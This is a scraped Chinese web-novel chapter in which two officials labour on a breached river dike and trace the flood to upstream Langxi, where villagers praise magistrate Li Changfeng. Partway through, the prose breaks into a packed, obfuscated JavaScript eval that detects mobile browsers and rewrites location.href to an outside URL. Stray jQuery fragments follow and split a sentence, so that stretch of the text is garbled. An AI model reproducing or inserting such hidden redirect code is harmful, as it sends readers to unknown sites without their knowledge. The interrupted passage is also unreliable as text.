默认冷灰
24号文字
方正启体

47.关奉使(5)

作者:拜笑本书字数:K更新时间:
    南堤的围埂修补是一项繁重的工作。


    关宁和赵怀书每日天刚亮便来到堤坝,与百姓一同劳动,扛石、打桩、填埂。


    关宁动作利落,力气惊人,赵怀书虽体力稍逊,却胜在耐力持久。


    两人渐渐的与灾民、前来帮忙的百姓渐渐熟络。


    “你们两位是从外地来的吧?”另一名年纪较大的老伯擦了擦额头的汗,挨近他们打量着,“听口音不像是宣州的。”


    “青阳来的。”赵怀书没有隐瞒,轻声解释道,“听说堤坝出事,我们就赶过来帮忙。”


    “青阳离这儿可不近啊。”老伯感叹一声,眼神多了几分敬佩。


    两人连续几日都是白日里一边干活,一边仔细观察堤坝的现状,同时向百姓打听事发经过的细节。


    几日下来,他们的双手都磨出了厚厚的茧,但内心却多了几分笃定。


    “这个堤坝的建造水平,确实没有任何偷工减料的痕迹。”休息时间关宁坐在堤埂旁,用树枝拨弄着脚边的一块碎石,沉声道,“你看这些石块,质量过硬,泥浆的粘性也够,根本不是松散易毁的那种。”


    “我也注意到了。”赵怀书站在不远处,目光落在堤坝的断口,“问题在于,这样的堤坝,不应该轻易被冲毁。”


    “水势虽然凶猛,但松吴江分水县这堤坝并非第一次经历大水。”关宁低头思索,“今年春训雨水也大,没有异常。按理说,这样的堤坝应该能撑住。”


    赵怀书眯起眼,目光幽深:“或许,水毁的原因并不在堤坝本身。你的意思是……?”


    “不知。松吴江堤坝是按规制修的,没有问题。”关宁看着漫漫江水,又补了句,“可能都有问题。”


    大堤边,忙碌的身影随处可见。


    关宁肩上扛着一袋碎石,稳步朝堤埂走去。


    几天的劳动让她的手臂隐隐作痛,但她神情轻松。


    “老伯,这几天感觉大家干劲不错,围埂修得快了不少。”关宁将碎石袋倒进缺口,用袖子抹了把额头上的汗,笑着朝一旁的老汉说道。


    一个老汉正在挖土,闻言抬起头,咧嘴笑道:“还不是托大家的福!这段时间好多其他县里人都来帮忙。你和那位小郎君干活可利索,多亏了你们。”


    “哪有您说的那么好。”关宁摆摆手,眼神却扫向正在搬木桩的赵怀书。


    对方虽有些力不从心,却动作坚持稳妥,不曾停歇。


    她不禁开玩笑道:“他其实是书生,力气不大,能坚持到现在已经不错了。”


    “书生?可不像啊!”老汉哈哈大笑,“我看他肩膀宽,腰板直,像个练家子的!”


    关宁笑而不语,从地上搬起一块石头:“老伯,我听说原来堤坝修得可结实了,春汛都挡住了。”


    “是啊!”老汉眼神有些自豪,“这堤坝去年才修过,都是朝廷上派了工匠来的,手艺好得很。就连端午汛那大水都没啥问题,可惜今年伏汛水势太猛了,唉。”


    “那……出事之前没什么异常吧?”关宁状似随意地问道。


    “异常倒是没见着。那水来得太突然了,一下子就涨得老高,天又下着雨,一下子就给冲了。这谁能想得到?去年我就来修这堤坝的,不说这个堤坝修的可以百年无虞,但那用料可是扎扎实实的,按理说至少十几年不会出现问题。”


    一汉子搬着一袋碎石过来,听到了这话插嘴道:“是啊,谁曾想这伏汛连下了半个月的雨。唉!”


    两人都无奈的叹了口气。


    负责登记的管事走过来派活。


    关宁拎着工具迎上前,笑着问:“大人,接下来咱们干哪一段?”


    管事上下打量了她一眼,神情放松了许多:“这边堤埂基本修得差不多了,得往前头的低洼处补些石料。刚刚上头交代了,多备点防洪沙袋,咱们得预防二次涨水。”


    “行,那我们就去那里。”关宁答应得爽快。


    旁边的赵怀书一边整理,一边随口问:“大人,这大堤是去年修的,应该算新的吧?”


    “是啊,花了不少钱修的,质量没得说。这场大雨下得真是遭罪哦。”


    赵怀书搬着一袋防洪沙走向关宁。


    “堤坝冲毁那天是什么情况?有没有人提前发现问题?”关宁将碎石袋丢进堤埂的缺口,喘了口气,抬头随意问道。


    旁边一个瘦削的中年汉子正在扎木桩,闻言停下手中的活儿,皱着眉头回忆道:“那天水突然涨得厉害,天又下着瓢泼大雨,根本来不及反应。等到堤坝响了几声,我们才发现不好,跑到这里一看,水都已经漫上来了。”


    “刚修的堤坝应是没有问题的。”赵怀书走过来,背着一袋碎石,气息微乱。


    汉子摇摇头:“是啊。堤坝建得结结实实的,每次汛期前都有县里派人来检查,也没发现什么问题。谁能想到,这次水来得这么猛,竟直接冲毁了。”


    “水势确实凶猛。”关宁低声道,目光却不经意间扫过堤坝另一端的泥石断口,隐约露出思索的神色。


    赵怀书语气平和:“平常河水有这么凶吗?”


    “凶倒是凶过,但不像这次这么急。上回春汛下大雨,顶多水涨些,这回倒好,像疯了似的,一下子冲得人连反应的机会都没。”


    “上游的水怎么样?有听说出什么事吗?”关宁装作不经意地问了一句。


    汉子摇摇头:“不太清楚,不过听说上头也有灾情,有些村子都被冲了。”


    听到这里,关宁和赵怀书对视了一眼。


    天色渐晚,两人结束了一天的劳作,肩并肩往堤坝外的临时棚屋走去。


    “这几天的情况,你怎么看?”赵怀书先开口,声音压低了些。


    “堤坝确实没问题。”关宁回答得斩钉截铁,“去年才修过,百姓的描述也能佐证这一点。”


    “可这水势未免太古怪。”赵怀书低声道,“百姓说得对,河水不像自然暴涨,更像是上游一泻而下……”


    关宁接过话,眉头紧皱,语气冷静却坚定“如果真是这样,那问题就不只是在松吴江堤坝这里了。明天一早,我们分头行动。你继续打听消息,我去上游看看。”


    “哪里?”


    “郎溪。分水镇都是如此,我觉得上游恐怕出现了一些问题。”


    “好。”赵怀书应下,目光却带着几分担忧,“你一个人务必小心些。”


    关宁摆了摆手,脸上露出一抹轻松的笑:“放心。”


    *


    郎溪县不如靠近宣州的分水镇那般繁忙热闹。


    荒草、淤泥、废弃的木料和破败的田地逐渐取代了水乡的田园风光。


    空气里带着一股腐败的味道,湿热里夹杂着霉气,让人直皱眉头。


    岔口,关宁下马问路。


    “郎溪啊?别去!那地方早不是人呆的了……”一名男子摇头叹息。


    关宁微微蹙眉,但没有说什么。


    走了近半日,她终于到达郎溪堤坝附近。这座位于松吴江上游县城的堤坝,原本该是一片绿意盎然的水乡美地,如今却是一片灰败。


    沿街的屋舍有一半倒塌,另一半也大多残破,窗子和门板被水冲得七零八落。街头少有行人,只有几个衣衫褴褛的百姓靠在粥棚边,啃着稀粥里的两粒米。


    关宁顺着百姓的指引,步行赶往江堤。越靠近江边,路上的水渍越多,甚至还有被冲毁的树木和牲畜尸体,散发着令人作呕的臭味。


    她到了江堤边,一片忙碌的景象映入眼帘。


    江堤早已成了断垣残壁,浑黄的江水浸湿了附近大片农田,不少百姓在泥水中忙碌着。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118061|158764||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他们搬运石块、填塞沙袋,用脆弱的力量对抗水势的侵袭。人群中大多是瘦骨嶙峋的老人和妇女,还有几名壮年男子正在修缮围埂。


    关宁环顾四周,发现旁边一位上了年纪的老人正背着一袋泥土艰难挪动,他的步子很慢,身体摇摇晃晃,看起来随时都会倒下。


    果然,没几步,那老人一个踉跄,重重地摔倒在地,背上的泥袋滑落下来。


    关宁立刻走上前去,俯身捡起泥袋,然后轻松地扛起袋子,稳稳地迈步向堤坝走去。


    她的动作干脆利落,引起了旁人的注意。


    一些在堤坝上忙活的人纷纷停下手中的工作,目光追随她的身影,眼神里透着几分惊讶和不敢置信。


    “那个小娘子……”有人低声嘀咕。


    “一个女子能扛动那袋碎石?真是……”另一个壮汉难以置信地摇头。


    待关宁稳稳地将泥袋放下,她抬起头看了看身边那些愣神的百姓,淡淡一笑:“还愣着干什么?堤坝不等人,继续干吧。”


    这一笑,一句话,倒是缓和了现场紧绷的气氛。


    众人对视一眼,连忙又开始忙活起来。


    关宁并没有走开,而是直接卷起袖子,加入了修缮的行列。她搬运泥土、填埋缝隙,动作娴熟利落,丝毫不显娇弱。


    “姑娘是哪里来的?”一名妇人忍不住问道。


    “我从青阳来,听闻郎溪情况不妙,便来看看。”关宁一边忙碌着一边回答,语气轻松自然。


    妇人微微点头,叹息一声:“郎溪哪里是不妙,早就成了绝地。江堤冲毁后,连田地都荒了,百姓连口饭都吃不饱……”


    旁边的一名老人也搭话:“唉,要不是县尊尽力帮衬着,我们这些老骨头哪还有命活到今天……”


    关宁闻言,眉头微蹙,问道:“那郎溪县尊为何没有向朝廷请求支援?”


    老人摇摇头:“哪能没请!听说早就求援了,可粮草迟迟不到,水势一天比一天凶。县尊带着人拼命堵了三次堤坝,最后都……”


    “都冲毁了。”旁边的妇人接过话,语气里满是无奈。


    关宁心中一沉,又问:“如今堤坝成这样,郎溪县的情况却迟迟未见好转,难道宣州府也没有拨款拨粮?”


    关宁一边干活,一边继续与百姓交流。


    郎溪县地处松吴江上游,地势比下游高,但堤坝冲毁后,洪水灌下游,导致松吴江堤坝损失更严重。


    今年春天,郎溪县收到宣州告令,以工代赈修缮因春汛冲毁的堤坝,但县里粮草不足,民力耗尽,修缮工作缓之又缓,谁曾想这刚修好的堤坝挡住了端午汛,却没能挡住伏汛。


    她环顾四周,目光掠过那些在泥水中忙碌的百姓。


    他们的手上布满了老茧,衣衫破旧,显然是长期劳累所致。她见到一名十来岁的孩子正背着泥袋艰难行走,那瘦小的身躯让她心中一阵刺痛。


    干了一上午的活,关宁在江堤边的一处木棚里与百姓们一同喝了一顿几乎看不见米的粥和一个麦麸做的饼,而这些却是郎溪县百姓难得的温饱。


    “干这么累,就喝这个?县令没有上报灾情吗?”


    男人的语气没有生机:“县令大人已经报了好几次,可上头根本不当回事儿。就这堤坝,也是百姓自己拼命才修起来的。”


    “听说现在的县令是李长风,他没有帮你们解决问题吗?”关宁继续问道。


    提到李长风,男人的神色缓和了几分:“李大人尽力了。他自己拿俸禄买了些粮食分给我们,带人去向县里大户借了又借,又带人去宣州府求援,这才有些吃食。”


    旁边的妇人补充道:“可不是嘛!若不是李大人,我们恐怕连粥都喝不了。”


    下午关宁没敢耽搁,她决定去见郎溪县令李长风。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)